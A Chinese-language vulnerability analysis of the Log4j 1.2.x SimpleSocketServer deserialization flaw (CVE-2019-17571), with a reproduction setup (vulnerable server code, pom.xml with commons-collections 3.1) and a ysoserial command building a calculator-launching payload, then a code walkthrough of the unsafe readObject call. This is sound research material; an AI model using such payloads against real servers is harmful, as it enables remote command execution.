log4j反序列化漏洞分析(CVE-2019-17571)

前言

Apache Log4j反序列化漏洞

影响版本

1.2.4 <= Apache Log4j <= 1.2.17

漏洞复现

idea新建一个项目，如下图所示：

log4j:

import org.apache.log4j.net.SimpleSocketServer;

public class log4j {
    public static void main(String[] args) {
        System.out.println("Listening on port 1234");
        String[] arguments = {"1234", (new log4j()).getClass().getClassLoader().getResource("log4j.properties").getPath()};
        SimpleSocketServer.main(arguments);
        System.out.println("Log4j output successfuly.");
    }
}

log4j.properties:

log4j.rootCategory=DEBUG,stdout
log4j.appender.stdout=org.apache.log4j.ConsoleAppender
log4j.appender.stdout.layout=org.apache.log4j.PatternLayout
log4j.appender.stdout.threshold=DEBUG
log4j.appender.stdout.layout.ConversionPattern=[%d{yyy-MM-dd HH:mm:ss,SSS}]-[%p]-[MSG!:%m]-[%c\:%L]%n

pom.xml:

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>

    <groupId>org.example</groupId>
    <artifactId>log4j-rce</artifactId>
    <version>1.0-SNAPSHOT</version>

    <properties>
        <maven.compiler.source>8</maven.compiler.source>
        <maven.compiler.target>8</maven.compiler.target>
    </properties>
    <dependencies>
        <dependency>
            <groupId>log4j</groupId>
            <artifactId>log4j</artifactId>
            <version>1.2.17</version>
        </dependency>
        <dependency>
            <groupId>commons-collections</groupId>
            <artifactId>commons-collections</artifactId>
            <version>3.1</version>
        </dependency>

    </dependencies>

</project>

使用yso生产payload:

java -jar ysoserial.jar CommonsCollections7 "open /System/Applications/Calculator.app" > log4j.bin

漏洞分析

原因在：SimpleSocketServer这里，打个断点跟一下

步入：

看到了这里开启了个服务端口：

 public static void main(String[] argv) {
        if (argv.length == 2) {
            init(argv[0], argv[1]);
        } else {
            usage("Wrong number of arguments.");
        }

        try {
            cat.info("Listening on port " + port);
            ServerSocket serverSocket = new ServerSocket(port);

            while(true) {
                cat.info("Waiting to accept a new client.");
                Socket socket = serverSocket.accept();
                cat.info("Connected to client at " + socket.getInetAddress());
                cat.info("Starting new socket node.");
                (new Thread(new SocketNode(socket, LogManager.getLoggerRepository()))).start();
            }
        } catch (Exception var3) {
            var3.printStackTrace();
        }
    }

在 **(new Thread(new SocketNode(socket, LogManager.getLoggerRepository()))).start();**处打个断点，然后发送我们的payload。
选择SocketNode步入

在这里看到将传入的数据封装成了Object流


我们可以看到run方法中对Object流执行了readObject方法

    public void run() {
        try {
            if (this.ois != null) {
                while(true) {
                    LoggingEvent event;
                    Logger remoteLogger;
                    do {
                        event = (LoggingEvent)this.ois.readObject();
                        remoteLogger = this.hierarchy.getLogger(event.getLoggerName());
                    } while(!event.getLevel().isGreaterOrEqual(remoteLogger.getEffectiveLevel()));

                    remoteLogger.callAppenders(event);
                }
            }

所以只要再存在一个可以利用 Gadget 就可以命令执行了